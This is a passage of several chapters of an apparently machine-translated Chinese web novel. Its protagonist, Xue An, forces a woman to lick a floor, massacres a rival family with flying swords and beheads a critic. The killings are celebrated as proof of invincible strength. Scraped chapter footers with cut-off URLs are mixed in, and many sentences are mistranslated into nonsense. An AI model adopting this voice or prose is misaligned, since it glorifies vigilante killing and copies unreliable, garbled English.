

    When he rushed back, Xue An was anxious, so he pulled all the members of the Fire Phoenix away.


    So they didn''t rush back until now.


    Xue An nodded, and then said coldly: "Follow me back to the barracks!"


    After that, Xue An said to An Yan: "Wait for me to come back here!"


    With that, Xue An headed straight for the sky.


    After Cheng Hao and the others knew that An Yan was the instructor''s wife, they all nodded their heads with respect to An Yan, and then followed Xue An.


    Wait for them to go.


    Zhao Xuehui, Qiao Le and others looked at each other and sighed slightly.


    "Second brother is getting better and better!" Qiao Le sighed.


    And Shu Liu and others looked at Xue Anyuan''s back with complicated expressions.


    This man always surprises people at critical moments.


    now.


    In the barracks.


    An Qing lowered her head and slowly wiped the ground.


    Several women passed by the corridor, and waited for the past to whisper.


    "Hey, is this An Qing now wiped out?"


    "Hey, Fire Phoenix is ??considered to be the indirect cause of her death. She is not bad if she is not punished, so nothing to wipe the ground!"


    "I heard that there was a conflict between the new instructor Liu and her!"


    These comments reached An Qing''s ears, but she did not look up, but her complexion became a little pale.


    "Hey, it''s not good enough to wipe the ground, there are footprints everywhere, wipe it again!" A fat woman with triangular eyes walked over to reprimand.


    An Qing looked up at her blankly.


    "Don''t you hear it? Wipe all the floors on this floor again, and you have to wipe it with your hands!" The fat woman said cheerfully.


    In terms of military position, she is much lower than An Qing. In the past, she had to salute An Qing.


    But now that An Qing is in trouble, it has become a joke in the army.


    If you don''t step on it at this time, I''m so sorry for this rare opportunity!


    "What do you think, this is what Instructor Liu ordered!" The fat woman scolded with her arms folded.


    An Qing''s expression changed, but after a while, she lowered her head and said, "Hmm!"


    "Huh!" The fat woman was about to leave.


    Just heard a voice coming from the other side of the corridor I feel it can''t be wiped clean with my hands! "


    The fat woman was stunned and didn''t look back, but said somewhat ridiculously: "Then how to wipe it?"


    "If I lick a little bit with my tongue, I feel clean!"


    The sound is mediocre like water, and the waves are unhappy.


    The fat woman chuckled, "This is a good measure, An Qing, have you heard? Someone asked you to lick the floor with your tongue. How do you feel?"


    An Qing lowered her head and said nothing.


    At this time, Xue An walked slowly from the corridor, and the sun shone on his face through the corridor windows, making his complexion look uncertain when he walked.


    "I''m not talking about her, but you!" The novel is invincible, starting with the newest chapter of the new chapter, Chapter 249, with the fingertips (third more) URL: https://

 Chapter 249： The sword fell like rain, the Liu family destroyed the door!

    It wasn''t until this time that An Qing heard her voice somewhat familiar, and when she looked up, she stopped.


    Xue An smiled at her, "I''m back!"


    Xue An''s sentence when I came back seemed to open An Qing''s emotional valve.


    An Qing covered her mouth, tears came out of her eyes, her whole body was trembling slightly, as if she wanted to cry out all the grievances of these days.


    At this time, the fat woman''s face turned gloomy, and she sneered: "Who are you? How dare you come here to be wild? This woman was personally ordered by Instructor Liu to take care of her. I advise you to keep your business off."


    Xue An said calmly: "It doesn''t matter who I am, the important thing is... you have to kneel down for me now and lick the floor a little bit!"


    The fat woman laughed very angry, "I''m the fuck..."


    Then she stopped too.


    Because from the corridor, a sturdy army is slowly coming.


    The magnificence that these people are walking on makes all the people on all floors turn pale.


    Some sharp-eyed exclaimed.


    "It''s Cheng Hao! A member of the Fire Phoenix Special Forces!"


    "The Phoenix is ??back!"


    The news was like dropping a bomb in the crowd, causing great commotion.


    At this time, Cheng Hao and others walked behind Xue An, stopped and shouted in unison: "Col. An, Phoenix has fulfilled its mission, and now they are all back to the team! Please review the military parade!"


    The sound shook the roof tiles.


    The audience was dead.


    Many people''s complexion turned pale, especially those who often said quietly in secret, shaking all over.


    An Qing''s complexion gradually turned ruddy, although there were still tears on her face, but she smiled, "I am not a colonel anymore!"


    "In our hearts, you will always be our Colonel An!" Cheng Hao said solemnly.


    At this time, Xue An turned to look at the fat woman, and said lightly: "Now I will give you two ways, first kneel down and lick the floor, second..."


    Before Xue An''s words were finished, the fat woman trembled all over, and knelt on the ground with a plop, tremblingly: "I lick! I lick!"


    The fat woman squatted on the ground and started licking the floor a little bit.


    Because she is very clear, the Fire Phoenix team will come back, this *camp, will change the sky!


    This scene also caused many people with ghosts in their hearts to tremble.


    Xue An looked at An Qing, who was already skinny, with a trace of anger in his eyes.


    "Where''s that Liu?"


    An Qing whispered: "Today is the 60th birthday of their Liu Family Patriarch, and they are hosting a birthday banquet at home!"


    Xue An was stunned when he heard the words, and then smiled faintly, "Very good! Get together, it will be easier to kill the door!"


    Hearing these words, everyone around froze.


    Because Xue An''s tone was downplaying, it seemed to be telling a trivial matter.


    At the moment, the Liu family is full of lights and colorful, a scene of singing and dancing.


    Liu Jinyi, the head of the Liu family, was sitting in the lead, smiling and talking to several family leaders.


    "It''s gratifying to hear that the Liu family has just been promoted to colonel in the army!" Someone flattered.


    Liu Jinyi was also quite content with this, but still said indifferently: "Haha, but just got a little achievement, not enough!"


    "Patriarch Liu is overly Qiang, how many people in China today are as old as Minghui?"


    Everyone was a voice of flattery and flattery.


    After all, the current Liu family is flourishing.


    This naturally attracted the praise of many people.


    Especially Liu Minghui now holds an important position, so he has a promising future!


    Liu Jinyi laughed, "Come on, everyone drink this cup!"


    At this moment, in his heart, it was not only because of his son''s official position, but also because of his attachment to the Kunlun immortal, who was among the gods!


    As long as one''s own daughter can worship Kunlun, wouldn''t the Liu family have a great career in the future?


    The more he thought about it, the more content Liu Jinyi became.


    And on top of another table.


    A group of men of the same age as Liu Minghui were also flattering Liu Minghui who was sitting on the main seat.


    "Shao Liu is serious and mighty, he became a colonel as soon as he entered the barracks! In time, the general can be expected!"


    Liu Minghui smiled slightly and said nothing.


    "Hey, Shao Liu, I heard that the chick from An''s family is back to you now? How is it? Have you gotten started?" Several men who knew a little bit more carefully asked, winking.


    Hearing this, Liu Minghui''s face appeared complacent.


    "Hehe, I''m not in a hurry now, she is in my hands now, what will happen from now on, isn''t it just a matter of me?" Liu Minghui said lightly.


    "Shao Liu is really domineering!"


    Everyone toasted to Liu Minghui.


    Just listen to a commotion outside.


    Liu Minghui frowned slightly.


    Today is the birthday banquet of the Liu family, who dares to disturb?


    Just got up and went out to see what was going on.


    I saw a few Liu family bodyguards flying in from the door, smashing a few birthday banquet tables, and then stopped turning.


    Everyone in the room was surprised.


    Liu Minghui stood up suddenly and said angrily: "Who? Who dares to come to Liu''s house to disturb?"


    At this time, Xue An slowly walked in.


    His emergence caused a slight commotion in the room.


    Many people recognized him.


    "Isn''t this Xue An?"


    "Didn''t he pass away in Siberia? Why did he come back?"


    In the eyes of everyone''s surprise, Xue An looked at Liu Minghui and said lightly: "Are you Liu Minghui?"


    Liu Minghui looked gloomy and said coldly: "Xue An, what do you want to do when you break into my Liu''s house?"


    "Yes, just fine! As for what am I doing?" Xue An smiled.


    "Of course... the Liu family killed you!"


    what?


    Xue An''s words caused an uproar.


    Liu Minghui smirked, "Okay! Okay! Xue An, with your words, I can shoot you here openly. You know, I am a colonel! You..."


    Xue An slowly took out the rank of Major General Suzaku from his arms, playing with the taste: "The colonel is so arrogant, what about me!"


    Liu Minghui looked at that military rank dumbfounded as if he had seen a ghost.


    "How... how is it possible? This is Major General Suzaku, who hasn''t made a great contribution, it can''t be obtained at all!"


    Then Liu Minghui gritted his teeth, "What if you are a major general? Can you kill people casually?"


    Xue An nodded, "You are right!"


    Before he finished his words, Cheng Hao and others filed in behind him.


    The extremely powerful momentum enveloped the audience.


    Liu Jinyi couldn''t sit still at this moment, and stood up and said angrily: "Xue An, I don''t believe that you really dare to kill our Liu family. You know this is Zhongdu, if you dare to be so arrogant and vigilant... "


    Xue An smiled slightly, and interrupted Liu Jinyi''s words, "You are right, I...I''m so arrogant!"


    Speaking Jian Mang gradually rose, floating in the air, and aimed at all the members of the Liu Family.


    This scene greatly changed the expressions of Liu Minghui and others.


    "No, you can''t kill me, my daughter is the disciple of Kunlun Immortal." Liu Jinyi shouted in horror.


    Xue An shook his head, "I''m sorry, I forgot to tell you, your daughter and the two Kunlun immortals have been killed by me!"


    "How... how is it possible?" Liu Jinyi was totally lost in disbelief.


    "In the next life, I hope you can be good people!" Xue An said lightly.


    After saying this, the sword fell like rain, directly cutting all the members of the Liu family into blood.


    The Liu Family Killed the Door! ! The novel is invincible, starting with the newest chapter of the new chapter Chapter 250, the sword falls like rain, the Liu family is destroyed! (Fourth update) Website: https://

 Chapter 250： Zhongdu earthquake

    The audience was dead.


    Seeing the blood and bones on the ground, everyone was trembling.


    No one thought that Xue An actually dared to destroy the Liu family.


    Xue An only glanced at the rest of the people, then turned and left.


    As soon as he left, Cheng Hao and others also followed.


    Until Xue An''s figure was no longer visible, everyone present let out a breath of relief. Many people''s pants were wet, and the strong smell of urine filled all the banquet halls.


    But no one has time to laugh at these scary people at the moment, because they are busy informing their families.


    So less than an hour.


    The news that Xue An raised his hand to destroy the Liu Family Mansion spread throughout Zhongdu.


    When he heard the news, Chen Xiuhe was looking in the mirror and playing with his beards.


    Chen Xiuhe''s illness has been cured after the Tianyuan Potion, and he is much younger.


    At this moment, the housekeeper of the Chen family hurried in.


    "Master, it''s not good!"


    "What''s the matter? So flustered!"


    "Mr. Xue is back!"


    "What?" Chen Xiuhe was overjoyed, "I knew Mr. Xue would be fine, hahahaha, where is it? I''ll look at him!"


    "But Mr. Xue destroyed the Liu family as soon as he returned to Zhongdu!"


    "If you destroy it...what did you say?" Chen Xiuhe was shocked, "Which Liu family?"


    "Of course it''s the Liu family in Zhongdu!"


    Chen Xiuhe changed his expression, "Are you sure it is true?"


    "Of course it is true. Now it has spread madly outside. I heard that many wealthy families are preparing to unite to defeat Mr. Xue!"


    After listening to the housekeeper''s words, Chen Xiuhe''s expression turned gloomy.


    "Damn, these guys have long been jealous of the great sale of Tianyuan Potion, and this time they want to make a fuss by taking advantage of the Liu Family''s destruction, so as to get some benefits!"


    Chen Xiuhe has a vicious eye, and naturally he can see the crux of it at a glance.


    The Liu family is strong in Zhongdu, and it is said that they also have high-level relations in the military.


    But now that the whole family has been killed, no matter how strong the strength is, it is like a cloud of smoke.


    Therefore, these aristocratic family members just wanted to use public opinion and the general trend to force Xue An to bow his head by asking for a fair argument for the Liu family.


    Thinking of this, Chen Xiuhe showed a sneer.


    These families who are accustomed to tricks and tricks are not clear, how can this Xue An be coerced by others?


    "Master, what shall we do?" the butler asked.


    Chen Xiuhe walked a few steps back and forth in the house, and then said in a deep voice, "Watch the changes, if necessary, the Chen family will be the strong backing of Mr. Xue!"


    "Yes!"


    When Chen Rushi learned the news, she was in Wei''s house, chatting with the two sisters Wei Ruyan and Wei Rulan.


    When the news came.


    "What!" The three women were shocked.


    Chen Rushi was even more shocked, as anxious as an ant on a hot pot!


    Wei Ruyan and Wei Rulan were also horrified.


    "Ruch, you calm down first, this matter is not trivial, you''d better go back and ask Mr. Chen what you mean!" Wei Rulan said solemnly.


    "Yes! I''ll leave first!" Chen Rushi said and hurriedly left.


    Looking at her panicked back, Wei Ruyan said, "Rulan, what do you think of this matter?"


    Wei Rulan shook her head slightly, "I asked Ru Shi to go back, but also want to use her to ask Chen Xiuhe''s opinion. After all, once this happened, the situation in Zhongdu changed drastically, and many were dissatisfied with Xue An. People who have a perfect excuse will naturally have trouble!"


    "What happened? What happened?"


    Wei Rulan said lightly: "Heavenly Fate!"


    Wei Ruyan''s expression changed, "Heavenly Fate?"


    "That''s right, Piff''s innocent elephant tooth burns his body. The effect of this Heavenly Fate is amazing. I don''t know how many coveted eyesight has been attracted, so his position this time... is more difficult than ever!"


    Wei Rulan said, looking up into the distance, and muttered to herself: "You have always acted domineering, you can even say that you are unwise, but I don''t know how you plan to solve the predicament this time?"


    Chijia.


    "Miss Chi, this is a once-in-a-lifetime opportunity. Xue An is a man of wolfish ambition. He killed many of your Chi family last time. This time he killed the Liu family again. There is no guarantee that we will not do anything more extraordinary in the future! So we decided , Crusade this person together!" a man chattered endlessly.


    But Chi Weiyang kept bowing his head in silence.


    "Miss Chi, there are already many wealthy families who have joined in. You just nod your head, and after success, you will have a chance for that day!" The man began to lure.


    But unexpectedly Chi Weiyang raised his head and shook his head firmly, "I''m sorry, now I''m an orphan in Chi''s family. I still don''t participate in this matter!"


    "But..." The man still wanted to lobby, but Chi Weiyang had already got up and left.


    "Huh! I don''t know what is good or bad!" The man rushed forward with anger.


    And Chi Weiyang, behind the bead curtain, looked at the backs of these people and whispered softly: "How do you people know how terrible he is?"


    The news continued to ferment.


    The giants in the capital began to move around.


    At a high-level meeting of the military, the Liu family''s patron was also furious at the moment.


    "Look, you see! This Xue An is so brave, he dared to destroy the door in front of so many people!" The general slapped the table and roared.


    The other generals also looked gloomy. After all, Xue An was too outrageous to do this.


    There is also a colonel in it!


    "I propose that this matter can''t be forgotten, Xue An must give an explanation!"


    "Say? What''s it?"


    "This Xue An is so arrogant and depends on the Fire Phoenix troops. Therefore, I propose to deprive him of his position as the Fire Phoenix instructor and hand the Fire Phoenix to other people''s jurisdiction!" The general''s eyes sparkled when he said this. With the light of greed.


    As soon as the room was quiet, many people started talking about it in a low voice.


    And this Lieutenant General thought with a sneer in his heart.


    Xue An, you found this by yourself. This has committed public anger. Who can help you?


    This fire phoenix is ??a treasure, if it can get into his own hands, it would simply...


    As he was thinking about it, a signal soldier walked in from the outside, his face panicked.


    "report!"


    "Forget Ba, didn''t UU read have a meeting?" He yelled angrily.


    "Reporting to the general is one hundred thousand urgent information!"


    With that, the signal soldier handed over a document.


    The general didn''t think it should take it, but when he opened it, he stopped, and the expression on his face gradually turned pale from real excitement.


    Even the hand holding the envelope started to tremble slightly.


    Others were a little surprised.


    "What''s wrong? What happened?"


    A general stepped forward to take a look.


    I saw a large line written on the document.


    Xue Anjian decapitated the building, and the top leaders of the emperor collective bowed their heads to apologize! </> Novels are invincible, starting with the newest chapter of the new chapter, Chapter 251, it is shocking (first update) URL: https://

 Chapter 251： Drunk Beauty Knee

    settle down.


    Today��s Anjiamen is very lively.


    All kinds of luxury cars are jam-packed.


    Almost half of the wealthy families in Zhongdu came.


    After getting out of the car, these people winked at each other, and walked in together with their hearts.


    While on the road, these people whispered.


    "There are so many people here today! Huo Family, Wang Family, they are all here!" Someone looked excited.


    "I heard that this Xue An is very domineering and will kill people at every turn. There will be no accident today!" Someone said worriedly.


    "Haha, today half of the giants in the capital are here, so how can he be domineering? Can he kill us all?" someone said with disdain.


    "Tsk tsk, look at this battle, today Xue An has to lower his head if he doesn''t lower his head! The blame is that the Tianyuan he holds in his hand is so eye-catching!"


    "That''s right, Piff is innocent and guilty of his guilt, this heavenly fate is not something his family can possess!" Someone said with a greedy light in his eyes.


    Everyone was talking and walked into Anjia.


    An Ying and An Meng were in front of the reception.


    The expressions of these two young men were a bit solemn.


    After all, among these people, although there are no top giants, the victory lies in the number!


    With so many people gathered together, the power formed is terrible enough.


    These people all entered the Anjia''s banquet hall, and then they got together in groups and started talking in a low voice.


    The simultaneous actions of so many giants naturally attracted the attention of the entire Zhongdu.


    Chen family.


    After listening to the report from the butler, Chen Xiuhe said with a sinking face, "Prepare a car!"


    "Yes!"


    When the butler went down to prepare the car.


    Chen Rushi asked anxiously, "Grandpa, shall we both go?"


    "Then who do you want to take?"


    "Don''t you take some of the bodyguards of our Chen family? After all, there are so many people on the other side, just settling down..."


    Chen Xiuhe smiled, "Silly boy, what if you take the entire Chen family''s bodyguards? And I appear behind Mr. Xue, it''s more useful than taking as many bodyguards!"


    Chen Xiuhe is right.


    Now half of Zhongdu''s rich family are in action, and the other half of Zhongdu''s family members are watching.


    As long as Anjia, or Xue An showing a little sign of compromise, these giants will swarm like sharks smelling blood, and then severely tear a piece of meat from Anjia.


    And if Chen Xiuhe made clear his position, he could frighten a large number of people.


    Chen Rushi understood, but he was still a little worried.


    At this time, Wei Jia also received the news.


    When Wei Rulan heard this, she was playing chess with her cousin Wei Ruyan under the tree.


    After listening, Wei Rulan frowned slightly, and then sighed, "This round is difficult to break!"


    Wei Ruyan was silent.


    "This time, let''s see what method you use to get rid of this predicament. You can''t just kill blindly. After all...that''s half of the capital''s giants!" Wei Rulan whispered to herself.


    When Xue An showed up in the banquet hall with his wife, An Qing and others, all eyes were on Xue An.


    There was fear and disdain in his eyes, but more of it was anger.


    But in the face of so many people''s gazes, Xue An''s expression was very calm, and he walked straight to the main seat. After taking his seat, an An''s maid hurriedly brought tea.


    Xue An shook his head, "A bottle of wine!"


    The maid quickly exchanged for a bottle of wine.


    Xue An opened the cork, poured a glass, and took a sip.


    The room was very quiet, and everyone was watching Xue An.


    at last.


    Someone couldn''t help but stood up first, "Xue An, don''t you want to say something?"


    "Say what?" Xue An put down his glass and said lightly.


    "How cruel and vicious you killed the Liu family, don''t you feel guilty?"


    "Yes! You are a murderous demon!"


    For a time, the group was angry, and many people were a little afraid of Xue An''s decisive killing.


    Seeing what it looks like now, Xue An doesn''t seem to be planning to kill, so he grew bolder and started accusing Xue An.


    Faced with this situation, Xue An was not sad or happy, but just watched quietly.


    An Qing was really uncontrollable, and stepped forward and said: "Have you enough? The Liu family has always been vicious, and the sins committed are countless. Why don''t you tell me?"


    "Who are you?" someone asked loudly.


    An Qing said, "I am An Qing!"


    "Oh! It turned out to be Miss An, haha, what happened to the Liu family, we don��t know, but Xue An first killed many people in the An family, and then killed the Chi family. Now the Liu family has become too. There must be something to say about his dead soul!" This person talked freely.


    "Yes! Patriarch Wang is right!" Someone agreed.


    It turns out that the person who spoke was Wang Qing, the head of the Wang family, and also the father of Wang Ke who was killed by Xue An.


    Wang Qing couldn''t help feeling even more proud when he heard everyone''s echoes.


    "Xue An, don''t you want to say anything?" Wang Qing said coldly.


    A meaningful smile appeared at the corner of Xue An''s mouth.


    "Want to say? Okay, what do you plan to say?"


    Hearing this sentence, these giants all looked happy.


    really!


    Faced with the pressure of so many of us, this Xue An still flinched.


    "We don''t want anything else, as long as your Tianyuan Company allows us to invest in shares!" Wang Qing said.


    "Shameless!" An Qing flushed with anger.


    Said it was a shareholding, in fact none of these people had a good idea.


    At this moment, there was a commotion at the door, and then Chen Xiuhe took Chen Rushi into the banquet hall.


    "It''s the Chen family!"


    "The Chen family is here!"


    There was a commotion among the people.


    Without looking aside, Chen Xiuhe walked up to Xue An and said, "Mr. Xue! The Chen family is here!"


    Xue An''s eyes flickered slightly, and then nodded.


    Chen Xiuhe walked behind Xue An and stood silently.


    The complexion of many giants has become less attractive.


    Chen Xiuhe is using actions to show his attitude.


    Xue An didn''t care about the side, but poured another glass of wine and drank slowly.


    An Yan felt sorry for her husband, so she stepped forward and gently rubbed his shoulder Xue An looked up, smiled at Anyan, and said nothing.


    This warm scene made Chen Rushi look sad, lowered her head, and thought to herself silently.


    Is this a drunk beauty knee?


    "Xue An, even if the Chen family supports you, we are not afraid. You must give us an explanation for this matter today!"


    "Correct!"


    The crowd below began to clamor again.


    Xue An''s eyebrows were raised slightly, and a bit of murderous aura condensed between his eyebrows.


    These people are wasting his little patience.


    At this moment, there was a commotion outside the door, and dozens of guards poured in.


    Then a dozen soldiers with generals on their shoulders walked in quickly.

 Chapter 252： Awakening the Killing Sword

    "It''s General Wang!"


    "Isn''t that General Chen? And General Yang! God, why are all so many generals here?"


    There was a fierce commotion in the crowd, and many people''s faces showed a hint of excitement.


    With so many high-level military officials coming forward, Xue An is probably really uncomfortable this time!


    With so many generals here, the stars gathered in the room.


    Wang Qing greeted him with a smile on his face, "General Wang, why did you come in person?"


    The person he called the General King looked solemn and didn''t pay attention to him, but just walked past him.


    The room gradually calmed down.


    When everyone watched these generals approach Xue An, many people were excited.


    Xue An didn''t care about these.


    now!


    He held the feather pouch in his hand, pouring and drinking.


    Three points seemed to be drunk in his eyes, and the remaining seven points were mad.


    Suddenly.


    These generals all stood up, and then all bowed their heads and said respectfully: "Are you...Mr. Xue?"


    The sound shook the roof tiles.


    It also shattered the smiles of many people.


    "This...what''s going on?" Many people couldn''t trust their eyes.


    With so many generals, anyone outside is a big man calling for one party, and now he is so respectful to Xue An?


    Is it wrong?


    Especially some people recognize that among these generals, there is also General Yang Chongyang, the patron of the Liu family!


    At this moment, his face was pale, but he stood there with his head down very respectfully.


    It''s not just these wealthy families who are shocked.


    Even An Qing, Chen Xiu and Chen Rushi were all taken aback.


    Especially Chen Rushi, she thought that today''s matter would be difficult to solve.


    Unless Xue An kills the Quartet again.


    But I didn''t expect things to suddenly turn around like this.


    At this moment, Xue placed the feather hoop, glanced at these generals, a faint smile appeared at the corner of his mouth.


    "Your news is very accessible."


    At this time, General Wang stepped forward and smiled bitterly: "Mr. Xue, there are many misunderstandings in these things, I think we should sit down and talk!"


    "Of course I want to talk about it, but I want to ask, why did the Fire Phoenix unit lose, but the fault is recorded on An Qing''s head?" Xue An said lightly.


    This question made these generals look stiff.


    Then Xue An said in a playful tone: "Do you feel that General Lin has passed away and An Qing has become a lone army, so you can knead it casually? Huh?"


    The last huh? The generals who were accustomed to the big scene were shocked.


    "Yes, yes! We did not do well in this matter, and we must have changed it!" Sweat appeared on General Wang''s face.


    This scene made many people almost groaned, "God, am I crazy?"


    Many people have already lost sight of something wrong.


    Some people secretly took out their mobile phones and started contacting outside. They wanted to find out what happened, so that these generals could come together, and they would all be respectful.


    quickly!


    The news came.


    When these people turned on their phones, they were all dumbfounded.


    Because the Internet is spreading over the world, it''s all a piece of news.


    The mysterious man cuts the building with a sword!


    And there are photos on it!


    And isn''t the man in the photo Xue An?


    This... how is this possible?


    Everyone felt cold.


    One person overwhelms a country?


    is it possible?


    Others learned more specific information through other channels. For example, Xue An killed several senior leaders and forced them to pay sky-high compensation.


    When the news surfaced in front of everyone.


    Everyone is stupid.


    Some timid people are shaking all over.


    No wonder Xue An has been unhappy in the waves, no wonder he dared to destroy the Liu family as soon as he shot.


    Compared with the sword slashing his ministry, and pressing an empire down to apologize for such a major event.


    Destroying a small Liu family seemed to be a trivial matter, and it was not enough.


    At this time, these generals also saw the clues. Xue An was obviously extremely dissatisfied with An Qing''s experience, so they all gathered around, comforted An Qing, and decided on the spot to reinstate Officer An Qing.


    An Qing looked dazedly at these big people that she didn''t usually touch at all, and then gradually came to understand.


    They are all because of Xue An!


    Thinking of this, An Qing''s admiration for her brother-in-law grew stronger.


    Xue An didn''t plan to deal with these generals, just hit it.


    But these remaining people...


    Xue An poured another glass of wine, drank it slowly, then stood up and looked around the audience.


    "Just now, who asked me to give an explanation?"


    No one dared to reply.


    Everyone lowered their heads as much as possible, for fear of being noticed by Xue An.


    Wang Qing''s face was even more pale, and he moved secretly outside.


    Xue An said lightly: "It''s greed to covet what you shouldn''t have! So..."


    Wang Qing felt cold when he heard it, and he tremblingly said: "Xue An, what do you want to do? I tell you, in front of so many people, I did nothing wrong, if you are..." />


    While talking, Wang Qing ran out.


    Before he finished his words, a wisp of sword light brushed his neck.


    The speed is so fast that even after Wang Qing''s head soared into the sky, his body rushed forward several steps before falling down suddenly.


    The audience was stunned.


    Even these generals did not expect that Xue An actually dared to kill in front of so many people!


    General Yang Chongyang''s face was pale, and his eyelids beat vigorously.


    Xue An''s eyesight had expired from his body, he involuntarily stepped back half a step, and then bowed his head deeply.


    As for the others, they took a few steps back under Xue An''s eyes.


    Make the general bow his head and let the world regress!


    This... is invincible!


    Chen Rushi stared at Xue An''s back blankly, especially when she saw Xue An wave a brutal sword light, and took the lives of people casually.


    There was another sentence in my heart for no reason.


    Wake up and hold the killing sword!


    As for Chen Xiuhe, he twisted his beard with his hands and sighed in his heart.


    He believes that he has experienced many big scenes in his life, and he has also seen countless amazing people.


    But no one, like Xue An, gave him such a strong shock.


    This son is really like a nine-day dragon, unpredictable!


    And when Wei Rulan, who was still playing chess and waiting for news, finally knew what had happened, she twisted the chess pieces in her hands and froze for a long time.


    Then he let out a long sigh and said sadly: "I was wrong!"


    "What''s wrong?" Wei Ruyan asked.


    "I thought I had seen him through, but I didn''t expect my format to be too small."


    "I thought he would have to spend some twists and turns to get through this predicament, but he didn''t expect that he didn''t even need to make a move, and his strength alone would scare everyone away!"


    As Wei Rulan said, there was a young man with a sword who was calling Fengshan that day.


    She had always thought that she had done nothing but Wei Rulan was clear in front of this man.


    Everything is vain, but strength is eternal! The novel is invincible, and the latest chapter starts with Daddy Xianzun. Chapter 253 Wake up to hold the killing sword (third more) URL: https://

 Chapter 253： The heart of a child is clearly visible

    When people dispersed, the night was already deep.


    A waning moon hung on the treetops, exuding a creepy moonlight.


    Chen Xiuhe walked out of An''s house and looked back at the banquet hall which was still lit.


    He knew that someone from the military was discussing with Xue An.


    As for those wealthy families who came violently and were preparing to tear their flesh and blood from Anjia, they had all left in disgrace at this moment.


    And Chen Xiuhe knew that in Zhongdu tonight, many people were destined to sleepless.


    "Grandpa, what''s the matter?" Chen Rushi asked when seeing her grandpa not leaving.


    Chen Xiuhe smiled slightly, "It''s okay, I just sighed suddenly! Let''s go!"


    When the Chen family left.


    Xue An was sitting on the sofa in the banquet hall, tapping the armrest of the sofa lightly with his slender fingers, and looked at the group of people opposite with playful eyes.


    "Mr. Xue, can you give us what you got from the country?" General Wang said.


    "Why leave it to you?" Xue An said lightly.


    "Mr. Xue, I know you are still a little angry, but this matter is very important. After all, this is a major event related to our country." General Wang said solemnly.


    "Of course I will hand it over, but I can''t give it to you!"


    With that, Xue An looked at An Qing and threw her a plate.


    "All the materials are here, you can figure it out!"


    An Qing caught the disc, a little dumbfounded.


    The other generals also stopped.


    "Mr. Xue, this..."


    "Why? Does anyone still need your approval for the things I got? And An Qing is also in the army, doesn''t it have to be handed over to you?" Xue An said lightly.


    Everyone stopped talking.


    Many people bow their heads in frustration.


    They came so eagerly because they wanted to get the materials that Xue An got from the country.


    After all, the country was once a world power, and these weapons and materials are extremely valuable.


    Unexpectedly, Xue An gave the materials to An Qing.


    Of course he is understandable.


    An Qing has a military background and is also his sister-in-law.


    Both the emotion and the reason are past.


    But people like myself have been busy for a long time, but they have not caught anything!


    They are feeling awkward.


    Xue An said indifferently: "But An Qing is now alone in the military, so she is definitely looking for a partner!"


    As soon as Xue An''s words fell, General Wang jumped up first, his chest slammed.


    "Mr. Xue, don''t worry, Wang Tao and Wang Tao have the words to say. If An Qing is willing to cooperate with me, then let her make the terms!"


    Wang Tao was the first to express his position, and the other generals were not to be outdone.


    "Mr. Xue, I am the same, and no matter what conditions Wang Tao is willing to pay, I am willing to add 10%!"


    "I add 20%!"


    "Hey, I said, you are deliberately having trouble with me, right?" Wang Tao was a little anxious.


    "What? Let you argue, we can''t talk anymore?"


    "On qualifications and positions, who of you can compare to me?" Wang Tao said coldly.


    "It''s not better than a military position. You say that it''s useless! Miss Ann, the scenery there is good, and there are many interesting things. You will definitely love it after you come over!"


    "Fuck! You are moist and sultry over there, what good is it!"


    This group of high-powered bosses began to expose each other in front of Xue An.


    Even the embarrassment when each other first joined the army was shaken out.


    An Qing stared at this scene dumbfounded, and suddenly felt that these big figures who used to be aloof were also flesh and blood people in private!


    At the moment when they are fighting hard.


    Xue An waved his hand, "Okay, don''t fight!"


    Everyone stopped, and then all looked at Xue An.


    Xue An said indifferently: "After all, they belong to China, and I am not willing to favor one another. Then, you can all cooperate with An Qing, but the condition is that whoever gives the richer conditions will give more materials. In this way, how do you feel? ?"


    Of course, these big men who have been almost perfected for so many years are clear that this is a big hole that Xue An dug for them.


    But helpless, now I have to ask others, even if I have to grit my teeth and jump down!


    "Okay! Just do what Mr. Xue said!"


    Xue An nodded, and then looked at An Qing who was still in a state of ignorance, "An Qing, you will work with these big guys in the future. You can ask me if you have any questions! But I think you guys will definitely help enthusiastically. You solved it!"


    "Yes, yes, don''t worry, An Qing''s affairs are covered by us!"


    Xue An suddenly sighed in his heart when he looked at the soldiers with the fiery light in their eyes.


    Regardless of the struggle, the innocence of these soldiers is still obvious.


    The reason why he launched An Qing this time was because he wanted to have an independent and reliable dependence after settling down.


    It is conceivable that it will not be long before An Qing can become an upstart in the army.


    For this, Xue An decided to add a little weight.


    "Also, do you want to know how the Fire Phoenix grew up?"


    Xue An''s indifferent voice sounded in the ears of these generals, and it was more shocking than Jin Zhong Dalu.


    "Of course I want to know!" Wang Tao said impatiently.


    The current fire phoenix seems to be a legend in China and even the whole world.


    In just over a month, they have grown from a newly formed unit to a strong force, and won the first place in the domestic special forces competition in one fell swoop.


    Then he passed through Guan Zhanjiang and entered the world special forces competition.


    Although there were some small twists and turns in the middle, the final return of the whole team can still clarify their strong strength!


    Such a unit, Wang Tao and others have long been salivating.


    As for the question of how to train such a strong unit in such a short period of time, only Xue Anneng, as the Fire Phoenix instructor, could answer.


    "They are all elites that I have carefully created. I have adapted a set of cultivation methods according to the conditions and qualities of each of them!"


    Xue An''s words changed the complexions of all the generals who were used to the big scene.


    What a precious thing to practice exercises!


    Xue An actually used it to practice soldiers?


    Just when these people were in despair, Xue An said calmly: "I can provide each of you with a simple version of the practice method. Although the effect is not as good as tailor-made, it can also greatly strengthen the strength of the army!"


    Everyone''s eyes lit up especially Wang Tao, whose eyes could hardly wait to swallow Xue An.


    "But the conditions still depend on An Qing!"


    These generals looked at each other, and they all saw an unprecedented high fighting spirit in each other''s eyes.


    Only Yang Chong shrank to the end, full of regret in his heart.


    Because he was clear, he used what the Liu family did and what he had said.


    Xue An was absolutely right and would not share the exercises with him.


    This also means that his subordinates will lag far behind Wang Tao and others in the future!


    If there is any regret medicine in the world, he would like to get ten catties now! The novel is invincible, starting with the newest chapter of the new chapter Chapter 254, the heart of the child, clearly visible (fourth more) URL: https://

 Chapter 254： Who can stand this!

    When what happened when you settle down spreads!


    When people create with horror, Xue An is the one who cut the country by sword!


    All seemed to be shaking slightly.


    The wealthy families who had participated in the rally all shivered under the blanket.


    Those who did not participate are secretly grateful.


    And on the web.


    What Xue An has done in China is spreading around the world at the speed of a rocket.


    There are even many people who have picked up Xue An''s previous deeds.


    At this time, people were surprised to create.


    This Xue An actually did so many great things.


    And Xue An''s danger level in various countries has also soared.


    But it was not until this time that people created it, and there was no clear picture of Xue An on the Internet.


    Some only have photos taken in the distance, and some are back or profile photos!


